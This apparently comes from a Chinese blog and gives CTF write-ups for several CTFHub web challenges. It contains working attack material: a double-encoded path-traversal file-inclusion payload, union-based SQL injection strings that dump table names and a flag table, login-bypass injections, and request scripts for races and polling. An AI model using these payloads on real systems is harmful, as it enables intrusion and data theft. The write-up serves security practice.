ctfhub web真题

发布于:2022-07-17 ⋅ 阅读:(503) ⋅ 点赞:(0)

web

[HCTF 2018]WarmUp

  • F12打开后有hint <!--source.php-->
  • 打开后
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    } 
传入参数 ?page=先进行判断! isset($page) || !is_string($page)
进行白名单等一系列操作,然后就包含那个文件
  • ?page=hint.php 内容 flag in /ffffllllaaaagggg
  • 因为要包含白名单参数,并且包含flag所在的文件。满足第三个if的条件
mb_substr($str,$begin,$end)	
#和substr一样,从begin-end截取字符串,但是这个函数可以截取中文字符

mb_strpos($_page . '?', '?')
mb_strpos($str,$find)
#返回数字,查找find字符在str中的第一个位置。
  • 满足条件?page=source.php?/ffffllllaaaagggg,由于在网站中会自动进行一次url编码,所以传入两次url编码,只需要将?进行编码就行,其余可以不变
  • 进行目录穿越,不断…/。由于同时解析机制,当足够多就从根目录开始遍历.当让此处不是,此处就是目录穿越
  • 最终?file=source.php%253f../../../../../ffffllllaaaagggg

random

在这里插入图片描述

  • 随机数,提示守株待兔
import requests

url = 'http://challenge-63ec434510e5e6ad.sandbox.ctfhub.com:10800/index.php?num=22'


for i in range(100000):
    resp = requests.get(url)
    if(len(resp.text)!=302 and len(resp.text)!=301 ):
        print(resp.text)
        break



weakphp

  • 本来尝试爆破无果
  • 扫描目录
[17:49:37] 200 -    0B  - /.git/FETCH_HEAD                                 
[17:49:37] 200 -  137B  - /.git/index
[17:49:37] 200 -  240B  - /.git/info/exclude                               
[17:49:38] 403 -  333B  - /.git/refs/                                      
[17:49:38] 403 -  335B  - /.htaccessOLD                                    
[17:49:38] 403 -  328B  - /.html
[17:49:38] 403 -  338B  - /.htaccess_extra
  • 想到git源码泄露.Githack
<?php
require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
    header("Location: index.php?user=1&pass=2");
}

$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
    echo $flag;
} else {
    echo "nonono!";
}
?>

injection

在这里插入图片描述

  • 很熟悉的sql注入
id =1 
id=1 order by 3#    //无回显
id= -1 union select 1,2#   //显示2
id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

id=-1 union select 1,(select * from flag)#

checkin

  • f12打开网络看到flag
  • base64解码就行

Fast Running

  • 改密码,登录,发现不成功
  • 根据题目意思,应该是多线程同时并发才能登录成功
import requests
import threading

def resp_1():
    while True:
        ur11 = 'http://challenge-702355b46a67e287.sandbox.ctfhub.com:10800/change_passwd.php?passwd=aaa&passwd_confirm=aaa'
        resp1 = requests.get(ur11)

def resp_2():
    while True:
        url2 = 'http://challenge-702355b46a67e287.sandbox.ctfhub.com:10800/login_check.php?passwd=aaa'
        resp2 = requests.get(url2)
        print(resp2.text)

if __name__ == '__main__':
	#开两个线程并发
	t1 = threading.Thread(target=resp_1)
	t1 = threading.Thread(target=resp_1)
	t1.start()
	t2.start()
想到多线程,但是发现忘记怎么写脚本。?

Injection V2.0

  • POST请求
  • 存在过滤空格,左右括号()
  • 只有一列
  • 贴心告诉我们用户名错误或者密码错误。但由于过滤括号,很多注入都用不了。
mysql两种查询方式
一种是常见的注入语句:
$username=$_POST['username'];
$password=$_POST['password'];
$sql='select * from user where username='$username' and password='$password'';

另一种是先验证用户名是否正确,在验证密码是否正确    
$username=$_POST['username']; 
$password=$_POST['password'];
$sql='select password from user where username='$username''; #查询 
if($row){           
		if($row['password']==$password) { 
				echo 'success';         
			} 
		else{ 
		echo 'fail';
		}
} 
else{ 
	echo '用户不存在'; 
}
  • 第一种就是注入加注释符
  • 针对第二种的注入,详细学习一下

union

  • union会在语句后加一行
    在这里插入图片描述

  • 本题解法:user=admin'/**/union/**/select/**/1#&pass=1

  • 由于只有一列,raw['password']=1pass=1成功登录

group by
group by with rolled upgroup by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计
在这里插入图片描述

  • 刷题请见ctfshow web10
  • username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=因为group by password那一列在此语句下为NULL。

Uploadddd

  • 什么文件都行,但是没有传输文件地址,以及文件名
  • 第一时间想到条件竞争,在临时文件中访问可能访问得到。比较麻烦,先放一边。
  • 没有任何提示,在CTF中应该会在别的地方泄露东西。扫描目录
  • 扫了一圈,没发现什么
  • 根据WP有个目录.insex.php.swp并且需要恢复vim -r ./.index.php.swp
<?php
if (isset($_POST['submit'])){
    $file_path = "uploads/";
    $file_name = date("YmdHis") . rand(0,999) . ".php";
    move_uploaded_file($_FILES["file"]["tmp_name"], $file_path . $file_name);
    echo "上传成功!";
}
  • 根据源码,上传后会生成加入时间,随机数的文件名。在/uploads目录下

  • 记录上传时间在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 访问在这里插入图片描述

  • 看来有必要更新扫描字典了,很多题目都扫不出来答案给的目录

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到